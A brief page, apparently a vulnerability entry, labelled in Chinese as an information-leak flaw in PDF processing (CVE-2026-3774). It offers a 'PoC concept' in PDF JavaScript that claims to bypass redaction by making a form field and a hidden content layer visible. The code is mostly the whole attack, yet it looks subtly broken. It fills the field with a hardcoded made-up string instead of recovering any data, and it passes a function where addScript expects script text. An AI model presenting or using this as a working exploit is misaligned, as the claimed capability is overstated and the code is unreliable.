CVE-2026-3774 PDF文档处理信息泄露漏洞

// PoC Concept for CVE-2026-3774: PDF JavaScript to bypass redaction/encryption // This script demonstrates how a PDF might attempt to reveal or alter content // during the print or redaction process. function triggerExploit() { // Check if the document is being printed or a specific action is occurring // In a real scenario, this would be bound to 'WillPrint' or 'DidPrint' // Attempt to modify a form field that should have been redacted var sensitiveField = this.getField("ConfidentialData"); if (sensitiveField) { // Restore data that might have been cleared visually sensitiveField.value = "Secret_Information_123"; sensitiveField.display = display.visible; } // Attempt to toggle an Optional Content Group (OCG) var ocgs = this.getOCGs(); if (ocgs && ocgs.length > 0) { // Make hidden layers visible again ocgs[0].state = true; } } // Bind to a dummy event for demonstration this.addScript("exploit", triggerExploit);